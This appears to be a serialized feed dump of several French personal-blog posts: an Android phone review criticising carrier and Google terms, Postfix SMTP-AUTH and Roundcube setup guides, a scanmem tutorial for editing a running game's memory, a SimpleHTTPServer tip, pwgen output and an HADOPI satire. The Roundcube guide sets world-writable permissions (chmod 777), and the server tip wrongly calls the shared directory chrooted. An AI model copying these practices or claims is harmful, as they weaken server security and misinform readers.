Exclusivité rueducommerce, ce téléphone n’était pas trouvable autre part à sa sortie : c’est insupportable ces exclusivités, impossible de le voir “en vrai” avant l’achat. Par contre, il était possible de choisir son opérateur (encore heureux me direz-vous, mais ça n’est pas toujours le cas).
Comme prévu, un internet mobile (avec un petit i) loin d’être neutre, comme on peut le voir dans les [conditions générales d’abonnement SFR][cga] :
[cga]: http://www.sfr.fr/mobile/edito/pdf/docs_juridique/181109/conditions_generales_abonnement_SFR.pdf
4.1 : L’abonné est informé et accepte que les Offres lui soient proposées sur la base de la configuration du terminal compatible opérée par l’opérateur. Dès lors, l’abonné qui procèderait à la modification de paramétrage de son terminal compatible ne pourra plus bénéficier des Offres et tarifs en l’état.
Les offres et les tarifs dépendent du matériel qu’on utilise pour aller sur internet ou téléphoner ! Imaginez que votre accès ADSL soit plus cher si vous achetez un ordinateur Acer plutôt qu’un Asus… ou que vous changiez le système d’exploitation ou les logiciels pré-installés…
4.2 : Le peer to peer, les newsgroups, la Voix sur IP et les usages Modem sont interdits, ce que l’abonné reconnaît et accepte, SFR se réservant le droit, pour les clients Forfaits Bloqués SFR, de résilier la ligne en cas de manquement.
Bon, bah là on est carrément dans le filtrage protocolaire pure et simple. Sans parler des usages “modem” qui sont interdits, comme si les fournisseurs d’accès ADSL interdisaient d’installer un routeur perso sur sa connexion…
4.3 : Pour permettre à tous les clients SFR d’accéder au réseau SFR dans des conditions optimales, le débit maximum de connexion sera réduit au-delà de 1Go d’échanges de données par mois jusqu’à la prochaine date de facturation.
Quand une phrase commence comme ça, en général, c’est mauvais signe… Le soi-disant “Internet” est donc limité à 1Go par mois sans réduction de débit…
Les cas particuliers pour les iPhones sont également assez hallucinants.
Vivement que Free sorte ses offres mobiles…

Rien à redire à ce niveau-là, l’écran 3,7’ avec une définition de 854×480 est vraiment très confortable, la navigation sur internet est agréable. L’écran tactile fonctionne très bien, il a l’air solide et ne se raye pas. Le clavier physique est très sympa pour écrire tout en gardant l’intégralité de l’écran visible.
Le téléphone est peut-être un peu lourd, mais on s’y fait.
Avant de détailler ce que je pense de toute la partie logicielle, je voudrais détailler ce que j’attends du téléphone.
Tout d’abord, je veux accéder à mes mails, à la messagerie instantanée et aux salons de discussion IRC. Je veux également pouvoir me connecter en SSH (sur mon serveur à la maison par exemple) et rediriger des ports (pour faire passer les connexions dans un tunnel, vers un réseau internet plus neutre, celui que j’ai à la maison en l’occurrence) ; les logiciels que j’utilise doivent donc supporter la configuration d’un proxy.
Ensuite, je ne veux pas utiliser tous les services Google, en particulier je ne veux pas de Gmail, de l’agenda, de Google Talk… Plus généralement, je ne veux pas d’applications qui nécessitent un compte Google (mes données personnelles n’ont rien à faire chez Google ou chez n’importe qui d’autre).
Enfin, je ne veux pas passer par “Android Market” pour installer des applications. Je veux installer et désinstaller des applications à ma guise, même celles qui sont fournies avec le téléphone. D’ailleurs, je ne suis pas d’accord avec les conditions d’utilisation, entre autres :
Si tel était le cas, Google se réserve le droit de supprimer à distance et à sa seule discrétion les Produits concernés de votre Mobile, sans vous en informer au préalable.
D’une part, je considère que c’est abusif sur le principe, d’autre part ça signifie que techniquement le Market est une sorte de trojan à partir duquel une entité extérieure peut exécuter du code à son bon vouloir. Tout simplement inacceptable. Google m’a beaucoup déçu sur ce point, en général j’aime bien leur politique d’ouverture, mais j’avoue avoir été désagréablement surpris par leurs conditions, qui font malheureusement penser à celles d’Apple (en moins pire, certes, mais quand même)…
Certains me demanderont alors “mais pourquoi donc as-tu choisi un Android ?”. Pour moi, Android a beaucoup d’attraits : le système d’exploitation est sympa, on peut rajouter des applications sous licence libre sans forcément passer par le Market, on peut se connecter directement en USB à l’ordinateur, j’aime bien l’interface, etc. Avoir accès facilement à mes données personnelles offertes gracieusement à Google est loin d’être ma priorité… Et je rajouterais que faute de mieux, Android est le moins pire au niveau ouverture…
Tout d’abord, lorsqu’on allume le téléphone, on se rend compte qu’il y a quelques applications installées dont on n’a pas besoin (“Agenda”, “Agenda d’entreprise”, “Annuaire d’entreprise”, “Gmail”, “Motonav”, “Phone Portal”, sans compter “Market” puisque j’ai dit que je ne comptais pas m’en servir). Après tout, ce n’est pas gênant, sur Ubuntu Empathy est pré-installé, moi j’utilise Gajim, il me suffit de désinstaller Empathy et d’installer Gajim.
Mais là, non ! Il est tout simplement impossible de désinstaller les applications pré-installées, certaines ressemblant plus à des crapwares qu’à des applications utiles (ça me fait penser aux pauvres utilisateurs de Windows qui achètent un ordinateur avec Norton pré-installé et difficile à retirer)…
En fait, il faut attendre que le téléphone soit rooté pour pouvoir faire ce que l’on veut sur sa machine. Et là vient encore une nouvelle déception vis-à-vis de Google (à moins que ça ne soit la faute de Motorola ?) : pourquoi n’est-il pas proposé par défaut la fonctionnalité de passer root sur la machine ? Pourquoi est-ce considéré comme du “piratage” de rooter son téléphone, comme pour le jailbreak de l’iPhone ? Imaginez-vous acheter un ordinateur sur lequel on vous empêche d’être root ? Pourquoi serait-ce différent pour un téléphone ?
Ça commence mal, mais ce n’est pas très grave, je me dis que je vais ignorer ces
applications, elles prennent juste un peu de place en mémoire et surtout dans le
menu principal… Après tout, je peux installer les logiciels libres que je veux
en les téléchargeant sur le site en .apk et en les copiant sur la carte
mémoire, non ? Pas tout-à-fait, car par défaut, le téléphone ne sait pas
installer les .apk… Ça aurait été plus utile que les bidules pré-installés,
non ?
Parce que du coup, il faut installer un logiciel qui s’appelle appsInstaller (non libre). EDIT: je vous conseille plutôt le gestionnaire de fichiers libre OI File Manager. Comment? En passant par le Market. Ce qui implique d’accepter les conditions disant “ce programme est un trojan, voulez-vous accepter ?” (je caricature à peine). Et qui implique de renseigner un compte Gmail dans le téléphone, qui sera utilisé par toutes les autres applications.
J’accepte donc les conditions et crée un compte bidon (jeneveuxpasdecompte at
gmail.com). Une fois appsInstaller installé, je tente de supprimer ce compte
de mon téléphone, “Impossible de supprimer ce compte”. sudo supprimer ce
compte, non ça n’est pas possible ? Décidément, on n’est pas maître de la
machine tant qu’on n’est pas root !
EDIT 10/01/2010 : C’est en fait possible d’installer une application .apk
sans jamais configurer un comte gmail ni passer par le market : Installer une
application .apk sur Android à partir d’un PC.
Malgré tout cela, il y a des choses qui fonctionnent bien.
Par exemple la connexion USB qui permet d’accéder directement au contenu la
carte SD, quelque soit le système d’exploitation. Ou la musique Ogg Vorbis qui
se lit très bien avec le lecteur par défaut… La gestion des notifications est
également sympa (un peu à la manière d’indicator-applet dans Ubuntu). Le GPS
fonctionne bien en extérieur (par contre en intérieur, il fait n’importe quoi
chez moi).
Voici quelques retours d’expérience sur les programmes “de base” (mails, messagerie, ssh, jabber). Si vous connaissez d’autres logiciels libres sympa, n’hésitez pas à partager.
Le client mail par défaut se connecte sans problème à mon serveur perso en utilisant IMAP/TLS et SMTP/TLS. Il n’offre par contre pas un super affichage pour les dossiers IMAP (une liste de noms “bruts” comme “INBOX.forums.ubuntu-fr”, “INBOX.mailing-list.april”…). il ne gère pas le push (pour recevoir son mail aussitôt) et a un peu de mal avec les pièces jointes.
J’ai installé k9mail (Apache License 2.0), qui est un peu plus complet, et qui gère le push et les pièces jointes. Par contre, il n’est qu’en anglais.
Pour utiliser la messagerie instantanée Jabber, j’utilise le client Beem qui fonctionne très bien :

Pour tweeter sur identi.ca, j’ai installé mustard. Très sympa (sauf qu’il rafraîchit les flux à chaque fois qu’on le lance, même si le dernier chargement a eu lieu il y a 15 secondes).
L’application connectbot (GNU/GPLv3), permet de se connecter en SSH à un serveur. Elle gère les paires de clés publique/privée et la redirection de ports.
En particulier, je l’utilise pour lancer irssi (un client IRC en ligne de commande) dans un [screen][] sur un serveur. Cela permet de pouvoir déconnecter et reconnecter le client sans se déconnecter des salons et ni perdre le fil de discussion…
Malheureusement, le navigateur internet par défaut ne permet pas de configurer de proxy (pour utiliser un tunnel SSH). Si vous en connaissez un bien en attendant Fennec, je suis preneur. D’autant que le navigateur intégré ne fonctionne pas correctement sur tt-rss (quand je clique sur un flux, il considère que je clique sur toute la colonne de gauche).
Le téléphone et le système sont de jolis jouets technologiques.
Mais je m’attendais, de la part de Google, à ce que ça soit quand même plus ouvert que ça… Là on est obligé d’accepter des conditions inacceptables, d’utiliser un compte Google alors qu’on n’a rien demandé, on ne peut pas désinstaller les crapwares… On se sent un peu limité, on n’a pas la maîtrise totale de la machine tant qu’elle n’aura pas été rootée, je trouve que c’est vraiment dommage.
Attendons donc qu’elle soit rootée…
PS: Quelques trolls se sont malencontreusement glissés dans ce billet, saurez-vous les retrouver ? ;-)
";s:7:"dateiso";s:15:"20100103_181011";}s:15:"20100102_202305";a:7:{s:5:"title";s:51:"Ajouter l'authentification SMTP sur un serveur mail";s:4:"link";s:80:"http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail";s:4:"guid";s:80:"http://blog.rom1v.com/2010/01/ajouter-lauthentification-smtp-sur-un-serveur-mail";s:7:"pubDate";s:25:"2010-01-02T20:23:05+01:00";s:11:"description";s:0:"";s:7:"content";s:3327:"Ce billet vient compléter mon premier billet concernant l’installation d’un serveur mail sur Ubuntu Server.
La configuration de postfix présentée dans mon premier billet limitait (dans un but de sécurité) l’envoi d’un mail à une personne distante qu’à partir du réseau local (ou une liste de réseaux prédéfinis). Cela est parfait lorsqu’on envoie toujours les mails de chez soi, avec au besoin la possibilité d’envoyer un mail de n’importe où grâce au webmail.
Mais l’utilisation du SMTP à distance devient utile lorsqu’on veut envoyer un mail à partir de chez un ami avec son client mail (plus pratique pour les pièces jointes par exemple), et cela devient carrément indispensable lorsqu’on veut écrire des mails à partir de son téléphone de n’importe où (sans IP fixe).
Ne plus restreindre l’utilisation du SMTP au réseau local implique évidemment de rajouter une couche d’authentification…
Je vais donc décrire comment mettre en place une authentification SMTP-AUTH “en clair” (bien sûr encapsulée dans une connexion chiffrée TLS, déjà configurée si vous avez suivi le premier tuto) qui correspond au login et mot de passe de l’utilisateur système. Il a été écrit pour une installation sur Ubuntu Server 9.10, il faudra donc peut-être l’adapter légèrement si vous utilisez autre chose.
Il faut installer le paquet sasl2-bin :
sudo apt-get install sasl2-bin
et ajouter l’utilisateur postfix au groupe sasl :
sudo adduser postfix sasl
Ouvrez ensuite /etc/default/saslauthd, remplacez :
START=no
par :
START=yes
et remplacez la dernière ligne par :
OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"
Démarrez le service :
sudo /etc/init.d/saslauthd start
À la fin de /etc/postfix/main.cf, rajoutez :
# SASL
smtpd_sasl_auth_enable = yes
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination
Dans ce même fichier, vous pouvez également supprimer le réseau
192.168.0.0/24 de la variable mynetworks (si vous l’aviez rajouté).
Créez le fichier /etc/postfix/sasl/smtpd.conf contenant :
pwcheck_method: saslauthd
mech_list: plain login
Rechargez la configuration de postfix :
sudo /etc/init.d/postfix reload
Voilà, tout est prêt.
Dans votre client mail, indiquez que le serveur SMTP requiert une authentification, de type CLAIR (ou PLAIN), et précisez votre compte utilisateur à utiliser.
";s:7:"dateiso";s:15:"20100102_202305";}s:15:"20091220_195258";a:7:{s:5:"title";s:55:"Tricher dans les jeux en modifiant la mémoire à chaud";s:4:"link";s:83:"http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud";s:4:"guid";s:83:"http://blog.rom1v.com/2009/12/tricher-dans-les-jeux-en-modifiant-la-memoire-a-chaud";s:7:"pubDate";s:25:"2009-12-20T19:52:58+01:00";s:11:"description";s:0:"";s:7:"content";s:3175:"Il y a longtemps, sur la première PlayStation, j’avais acheté un Action Replay qui permettait de modifier la mémoire à chaud pour “tricher” ou changer le comportement d’un jeu.
Il est possible de faire la même chose sous GNU/Linux grâce à scanmem, qu’il
faut installer :
sudo apt-get install scanmem
Nous allons le tester sur Gnometris (le Tetris-like intégré à Gnome) pour exploser le record.

Lançons le jeu, et récupérons son pid :
$ gnometris &
[1] 30814
Démarrons scanmem avec comme paramètre le pid de Gnometris :
sudo scanmem 30814
(oui, il faut être root pour lire et écrire la mémoire des autres programmes lancés, c’est plutôt rassurant)
On obtient un joli prompt :
0>
Il va falloir tout d’abord trouver où se trouve en mémoire la variable à
modifier (celle qui contient le score courant). Pour cela, c’est très simple,
vu que le score est affiché à l’écran, il suffit d’indiquer à scanmem sa
valeur. Pour l’instant, mon score est de 0, je rentre donc 0 :
0> 0
info: 01/126 searching 0x621000 - 0x623000...........ok
info: 02/126 searching 0x1f9d000 - 0x2f4e000...........ok
…
info: 125/126 searching 0xe83f9000 - 0xe83fa000.ok
info: 126/126 searching 0xdab4b000 - 0xdab67000.ok
info: we currently have 12352024 matches.
12352024>
Il y a donc 12352024 variables dans la mémoire utilisée par Gnometris qui sont à 0 (pas étonnant).
Je joue un peu, histoire de faire évoluer le score… tac tac tac tac… Voilà, j’ai 100 points (j’ai fait 2 lignes), je tape donc 100 :
12352024> 100
info: we currently have 36 matches.
36>
Il y a 36 variables qui étaient à 0 tout à l’heure et qui sont à 100 maintenant. Je rejoue, je fais 1 ligne, j’ai 140 points, je tape donc 140 :
36> 140
info: we currently have 1 matches.
info: match identified, use "set" to modify value.
info: enter "help" for other commands.
Voilà, j’ai trouvé la variable qui contient le score, maintenant je peux la modifier :
1> set 12345678
info: setting *0x22e38f0 to 0xbc614e...
Rien ne se passe dans le jeu, c’est normal : pour Gnometris, le score n’a pas pu changer, le label de l’interface graphique contenant le score n’a donc pas été rafraîchi. Il suffit de gagner quelques points pour s’apercevoir que la modification a bien été prise en compte :

Ça fonctionne bien évidemment sur tous les programmes, mais c’est plus intéressant pour les jeux :-)
";s:7:"dateiso";s:15:"20091220_195258";}s:15:"20091206_152239";a:7:{s:5:"title";s:65:"Créer un serveur HTTP en 10 secondes sur Ubuntu grâce à Python";s:4:"link";s:66:"http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes";s:4:"guid";s:66:"http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes";s:7:"pubDate";s:25:"2009-12-06T15:22:39+01:00";s:11:"description";s:0:"";s:7:"content";s:767:"Il suffit d’aller dans le répertoire à partager et d’exécuter :
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Le répertoire sera chrooté et accessible sur http://localhost:8000.
Par défaut, le port 8000 est utilisé, mais on peut le changer :
$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...
Pour les ports inférieurs à 1024, il faut être root :
$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Si le port correspondant est ouvert sur le routeur, il sera également accessible de l’extérieur. Pratique pour partager rapidement du contenu…
";s:7:"dateiso";s:15:"20091206_152239";}s:15:"20091121_190529";a:7:{s:5:"title";s:39:"Générer des mots de passe aléatoires";s:4:"link";s:66:"http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires";s:4:"guid";s:66:"http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires";s:7:"pubDate";s:25:"2009-11-21T19:05:29+01:00";s:11:"description";s:0:"";s:7:"content";s:5868:"Il arrive de vouloir changer de mot de passe, et comme d’habitude, d’en vouloir un aléatoire.
Le programme pwgen est bien pratique. Il génère au choix :
Sur ces 3 exemples, on voit tout de suite les niveaux de difficulté de mémorisation :
$ pwgen
EithooK4 faey6aeM Dai5aat5 ue0Aen8e lee1Aiyi Niemap6b ahW7ooth Pohc9iez
tien7Pho ahz5aaJ4 nohd0EiR uiS7xoot Cah9joo1 Fiede8to chus3Mee Ohji2dok
ieJah6de Nool6ael lahd6Pau dooc9Ach nai4Ther Iegahzu7 Roop2tha iiViG4pa
Chaeb1qu Ie0ohxis hohz9Aiw UeYae4Ae uthae6Ga veeCho9o Vo0shait aiShue1h
ieX8geen Auyeix9t OBeb0pae Cah0Ooqu aeG7nooV Ohpu5aic UaTh7eem Fakex4hu
vei7oNgu doc0Fi5J xahFel6r AeK5ing0 xaX6ahBu Coo7Quoh Aghu7lah xec9IeLu
ae1phiaR aem5Auy6 ebohP0ta FieGh3ee ki8QuaoN fahvev6R Aezil9Th aeVeex3f
aeh6eeTe ohR6Ahfi IoV4WaCh EeSah9Oo eeg2Wae8 Eeh5phee eiraGeu0 Owe5thah
Oa0eaqui iaV8joiw yoF1ueF9 Nee3Athi ooW3Noet uphai8Ai Eedoi2ch ao2Eich4
Chie3voo vexae9UR ri4en4Ai ig9ohDaZ iej1iRae Iechee6i uiS3geim zi0ee1Qu
Co5ahcoh Ahyai2ga eiw7ahCa Phier3ie Thoocai3 fieY0xeo aeNei2ei xieb2Cha
Le1oep5e oavohn8E ahbeeM5i Aedeif7i Ohth4Fai Uo4gaevu BeFohch3 iePu9aem
choh6zaY facoo0Na Ug5noh7z fet8ahS8 lanohl0H eiW5dahY Miex1Cey iPeew0Ai
Ooxae1Co Fa4ioz9w ooyaip1A tei6Pae7 eefaeX6J tahWoh6l quee0eeZ gooD0uDu
iev9aeS8 Deb7Iez1 tii8LaVi BuJoon3g eePeghe7 Cee8kahn Ru3rosho baiph2Iu
bahg1eiG vi8aeTho eequ7Voe Xi4oocha raij8aeJ Oe7heGhu Jae4iz1U Ineem3ie
koh1oiPh Bo9xi9Qu Ash5Aisu IeVuiph4 ul8fePoo Aaphe1ru eiWeim1v NuN7xira
uwe0Iexa ahBu9aiv Suu0aexi haiz2Eem eiC3phuh eingo1Cu Aibek8Ta Theiha2I
feP8poir id1ib5Ah Aib2Eish Ahk8cheu Woo7cha3 hahX4pai shiu2uYi Oobiev6E
euf7le8I Vaa2ao4w dah1Ieja pi4OaPuu Aeroh9th thue7Gu5 Aivu3Nah loo9le9E
$ pwgen -s
ji3f2Nvp chK36N5w yn7toyvP 3997nLrJ nzFqz14R 9dnkBHYL 9zF2zVQr T1psPkYX
nMNvbMU1 wz1xYluN z9D62kI0 ycZGb5a7 rKMj0W7P NNih1iC2 2TFeDTO1 ul0gKW9G
tplaj4Fg 9SAjOAdn b2KpUY4c M3G5lwAr 9mWUV61M iV41jedC vSFaeM91 PRy5zUuT
0oJIC3Va Qqzkc1gv je4Q2Meg dk0rVKiG oeBAo89G a7vgS7NZ evyG65d4 416FPnAO
94u4ShlL 4WvBDdsG b7ojJyo9 ZiQQO0wf B10gsyBQ jGPT5gw7 R8Vx6Fsb BjO6KzpN
Bj3mHgWs 4YGekJBa 6zVsqVxF sD4hphne ksucD8gt COU5FRCI BBkU9PQt oT7d90Ns
NSmKs5Jl USBtPA1Z oRTb1vl6 79Mn84dv QwGG1utJ HPZTHd1B zww6ZPif 9uIj6bme
GdE4BjN9 oB4VcrWQ 2TlAJuE6 52JMMxcx IsYoIj3g GWyL24vZ sv5dwT48 QrQTz5Xb
KnKtVDY9 5mW6B30b 6RPgdzOp Raes1DgQ Njv3rOyR u4pwGpGl s9hnUdVA WKR4IjQE
g72s3Okb J2IbdUWy 5LNfmINq 0QMAnPGx zTSbMK7h ic0qQhf6 OCB8mQ1p pxGhQ8Ps
wN0GjxDs seW9ricu 3DmdZUbJ lQF9rFWZ dvIC4RM4 CuUWo6k5 rdA4QByG wpHI2BSU
bvvSF2dz y6205hA5 7zGpRspW hn1E4HCh 1lJlhL2P g0niR3c9 dPByI3PG AtRm1bSV
I1Hs5Cg3 8CRJvebA jxh8jpAU x9828wlW 6KBcByOt orl3QmoL 6pYIHB7c MALID6LD
36KiInPB 5f2DLzhj iRB9AHah GUCn2Tzq aJ0ZiDy0 nizXx6SI dCEO0fvw Q5fMf08t
HmZVQd25 EIiKnbb4 AQun8igX 88TRMsB6 R1g0hL7D QPTRCH1V hs14l8C1 xVKhN5MD
sU5N2N4n tS7iB8jK 5Vcq8XrN GvT2bF5X hZS2jZpB vMI2ZxhC GXaYX5JV h5enQ53C
aKSh3ZGm QCxe8dT0 XI38fqmZ u0vA31e7 3wdaV3OF e98PZcs4 Bu7SceCn Pgkq0q2K
j71AznCc pNtp5VoC N2m1RNBn Opa4CrMl P3IFuG6s iuNhtTm3 k3jehDmQ TyG5kBdo
03eqXAB1 Dez29MWr ZZRRI0oh 1KC7CD3H 8Q6VMn5d b9DO8B1o 3M36hgOf N3JWSJIn
xXmfe86X FjCSO4bI w5BvyCZS rDB4aOPK H8hvo7M1 svWnLX2x Mglqr0yA udo253ND
$ pwgen -sy
TFKS^;4v y$@5i6CH !4?]G]Tf $E\<90z? ^'z5c+BH 9E>aS@(} qP,:Z2.K ]*7db:W:
\x7Nv9/X Q&ry9yw6; 9ur]=_V0 5-ea/3Tk MQ}jS4H3 1|r\TX%? PnI9!+T* ;I#36=)%
}_(@D7~E hRt0f?3p 7$XQG]j= '7/n7`X: |Byz#93A 4kR4'vw1 %j!f{5WL 7p{xmH?e
,jCt0nXH LSI[T1Z% ViF+O>5v 5(Ooaa%+ p@%Bs9dl DUv@HjB7 oH4q*h*0 +4?B,?a#
x9C4(/]" 9H(||>"8 k"gKzz5} B@W8s#dW \J9]j7l] 3O@;~{vM RNQ'g2M6 >ZQ}E1[]
%3t"i^aK Wp!1(Jw% }0RQ!y\E ~)(0L4.' p@|9uLZO q%%0n#L: ._9AgN}K s[vK?Fi8
vtPgD?~7 Q(>NZ"6j -ADl[88, '+FQj\g6 <,zS(N[2 v9_HEyc: %i5%B!d5 _BA36*Y$
]vS8N!YG 9v'-Dmd3 QQ1;@Zq/ X-3ov/!T Fi%+QI~2 #GY5~>V$ O}T!N8z# 8Gm/-'Al
gM\(bt3\ Ur[D7:I+ dZx@:<5r >^*IKAG2 StTJ3.2! a~FBKB6@ )r->m5Ia ui;7Uy*/
9x]jD;>p X6#TV*at 8koi'YTc N9jYz&qC; nC}9xy#; oyGvr*d4 Oh1}s.mI T$q5htKG
m\o}-6Ex 952Np-ly |vO9T\${ 6u3V)~H" R0fq6T3# [QJTM^a3 7y\M[|2j "s\4U}Hv
:Br^T4_G wKi8,,\_ q;+3K"&{ W1kp`q7& 0Ps?Gq#) cRQ5jnl| ;i6rMWbf [D<4~|Gb
`W_c)/7p A:H,4g2; U?Q{sB4, HMED>2`) .-,9Mlhk *9I\nYH/ bDb`(&,7 x8sLE.G[
F>(.'o0s J\N-0h=< Vrk0W2,n (M3vAm,S rs&ZKgD5; @:a$8N*5 9qm|BZiq {o&3qK`A
-R2/qwg? 3D>{\Y&| s2Bc!]bD tAfJ_1GS \7F[mWJK E#(7zIW@ )RT7lrG) !rzI4Gwn
.0AE=J"| z8Z]b%|N "$4,7X,p +j}!'Ui6 o%W$L/3{ n#+Rf`P9 x3q"Bd($ ""Xmh6S?
@:3T=z~A E+IFC`2C 5;YG]&/] ,1@!<*Qt <2Y8A4a@ ;5fOO0{B 7Prjv$Ms 2'g!6!3T
9r")N*J; z=K'75=! p|0K]&e;< {l5kvqL{ (mG4?0xt p5>F>)D5 j69;T^Jv ;.6sLj5?
qH;1<6Cq 7M+olge; \^n,S7B, @}^7Z]u@ 62__*C6b BNDnB)1@ xr^qwE7C a2'V*S<0
5&dk;?QN9 W0x(}QPE ~-6i-ufZ ik|v#s9L 6xdgc2Y= 7kcS#}if PG1}MI6V u(29L/?}
Les plus paranos pourront également changer des caractères des mots de passes
générés, ou les mélanger entre eux (afin d’éviter qu’un bug de pwgen ne
provoque une baisse de sécurité).
Il est également possible de passer en paramètre la longueur des mots de passe que l’on veut générer.
Pour le reste :
man pwgen
Il existe aussi un outil similaire nommé apg.
Un de mes précédents billets présentait l’installation d’un serveur de mails sur Ubuntu Server. Une fois installé, il était possible d’accéder à son courrier grâce à un client de messagerie.
Il peut-être pratique, en plus de cela, d’accéder à ses mails par un webmail de n’importe où (notamment au travail, où il ne sera pas filtré comme celui de gmail ou de yahoo, puisque c’est un webmail perso).
Je profite de la réinstallation à neuf de mon serveur pour présenter l’installation de Roundcube, un webmail assez moderne, à installer sur LAMP (avec accès HTTPS) sur Ubuntu Server.
Voici ce que ça donne une fois installé :

Je partirai du principe que le webmail est sur la même machine que le serveur
SMTP et que le répertoire ~/Maildir (contenant les mails), et qu’il sera le
seul site hébergé en HTTPS sur le serveur.
Tout d’abord, il faut télécharger l’archive sur le site de Roundcube (la version complète), et l’extraire dans un répertoire :
tar xzf roundcubemail-0.3.1.tar.gz
Il est plus pratique de le renommer :
mv roundcubemail-0.3.1 mail
Ensuite, il faut donner les droits au serveur d’écrire dans les répertoires
temp et logs :
sudo chmod -R 777 mail/temp mail/logs
Enfin, faire un lien du répertoire d’installation de Roundcube (par exemple
~/mail) dans /var/www.
sudo ln -s ~/mail/ /var/www
Il faut créer une base de données qui sera utilisée par Roundcube, avec son propre utilisateur. Pour cela, démarrer mysql en tant qu’administrateur (le login et le mot de passe choisi lors de la configuration de mysql) :
$ mysql -uroot -p
Enter password:
Ensuite, créer une base de données :
mysql> CREATE DATABASE mail;
Query OK, 1 row affected (0,00 sec)
Puis un utilisateur mysql (par exemple mailuser/unmotdepasse) :
mysql> GRANT ALL PRIVILEGES ON mail.* TO mailuser@localhost
-> IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0,00 sec)
Voilà, la base de données est prête à accueillir Roundcube.
Tout d’abord, il faut activer le mod ssl d’apache :
sudo a2enmod ssl
Et renseigner le champ date.timezone de php.ini :
sudo vi /etc/php5/apache2/php.ini
Remplacer la ligne :
;date.timezone =
par :
date.timezone = 'Europe/Paris'
Ensuite, il faut créer un VirtualHost qui décrit à Apache le site qu’il doit héberger (le nom du site sur lequel il répond en http, quels répertoires doivent être accessibles, etc.).
Voici un modèle (qui correspond à mon VirtualHost), qui permet :
/var/www/mail lorsqu’une requête arrive
sur le port 443 (https), c’est-à-dire quand je tape
https://mail.rom1v.com dans un navigateur ;config, temp et logs ;http://mail.rom1v.com vers
https://mail.rom1v.com.NameVirtualHost *:443
<VirtualHost *:80>
ServerName mail.rom1v.com
Redirect / https://mail.rom1v.com/
</VirtualHost>
<VirtualHost *:443>
DocumentRoot /var/www/mail
ServerName mail.rom1v.com
SSLEngine on
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
<Directory /var/www/mail/>
Options FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/mail/config>
Options -FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/mail/temp>
Options -FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/mail/logs>
Options -FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</Directory>
ErrorLog /var/log/apache2/mail_error.log
CustomLog /var/log/apache2/mail_access.log combined
</VirtualHost>Ce fichier, une fois adapté à votre serveur, est à écrire dans
/etc/apache2/sites-available/ (dans un fichier nommé comme votre site par
exemple, mail.rom1v.com pour moi).
Il faut ensuite l’activer :
sudo a2ensite mail.rom1v.com
Et recharger Apache :
sudo /etc/init.d/apache2 reload
Il ne reste plus qu’à aller sur http://votreserveur/installer avec un
navigateur pour configurer Roundcube.
Bien sûr, lors de la première connexion, Firefox vous alerte car il ne connaît pas votre certificat SSL (qui est auto-signé), il suffit de lui indiquer que vous faites confiance à ce site (puisque c’est le vôtre) en ajoutant une exception.

L’étape 1 (Check environment) doit bien se passer (à part quelques modules optionnels que vous n’avez pas, ce n’est pas grave).
Pour l’étape 2 (Create config) :
product_name : le titre des pages souhaité ;ip_check ;enable_spellcheck (sinon tous vos mails seront envoyés à
Google) ;default_host à la valeur
localhost ;Lors de la validation, deux fichiers sont générés. Il faut les télécharger et
les placer dans le répertoire config/ (ce n’est pas très pratique
d’ailleurs, lorsqu’on accède au serveur par ssh, devoir télécharger les
fichiers localement pour les renvoyer au serveur est un peu tordu).
L’étape 3 (Test config) permet de tester que tout est OK. Il faut cliquer sur Initialize database.
Une fois ces étapes effectuées, rendez-vous sur l’adresse du webmail, vérifiez
que ça fonctionne (avec votre login système et votre mot de passe). Si tout est
ok, supprimez le répertoire installer/ :
rm -rf /var/www/mail/installer
Une fois connecté, il est possible de changer les préférences utilisateur. Je vous laisse découvrir les options par vous-même, mais certaines sont importantes.
Tout d’abord, dans l’onglet identités, renseignez votre adresse mail (par
défaut c’est login@localhost, ce qui posera des problèmes à ceux qui voudront
vous répondre).
Ensuite, activez les options qui concernent la suppression d’un message sur un compte IMAP dans Préférences du serveur de l’onglet Préférences :
Bravo. Vous avez maintenant un serveur mail perso avec un accès webmail sur HTTPS en plus de votre accès IMAP/TLS. Vous gagnez 1 point de liberté et 1 point de confort.
";s:7:"dateiso";s:15:"20091121_183855";}s:15:"20090921_232953";a:7:{s:5:"title";s:22:"apt-get install hadopi";s:4:"link";s:52:"http://blog.rom1v.com/2009/09/apt-get-install-hadopi";s:4:"guid";s:52:"http://blog.rom1v.com/2009/09/apt-get-install-hadopi";s:7:"pubDate";s:25:"2009-09-21T23:29:53+02:00";s:11:"description";s:0:"";s:7:"content";s:8283:"
albanel@majors$ sudo apt-get install hadopi
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
lib-bypass-constitution-francaise lib-propagande
lib-autorite-administrative-avec-tous-les-droits
E Les paquets suivants ont des dépendances non satisfaites : hadopi dépend de lo
bby-vivendi, mais lobby-vivendi est en conflit avec lib-information-impartiale.
Les actions suivantes permettront de résoudre ces dépendances :
s-asseoir-sur-les-libertés-fondamentales
Accepter cette solution [O/n] ? O
Les paquets suivants seront enlevés :
lib-presomption-d-innocence lib-droits-de-la-defense
lib-separation-des-pouvoirs lib-information-impartiale
Les NOUVEAUX paquets suivants seront installés :
hadopi lib-bypass-constitution-francaise lib-propagande
lib-autorite-administrative-avec-tous-les-droits lobby-vivendi
0 mis à jour, 5 nouvellement installés, 4 à enlever et 0 non mis à jour.
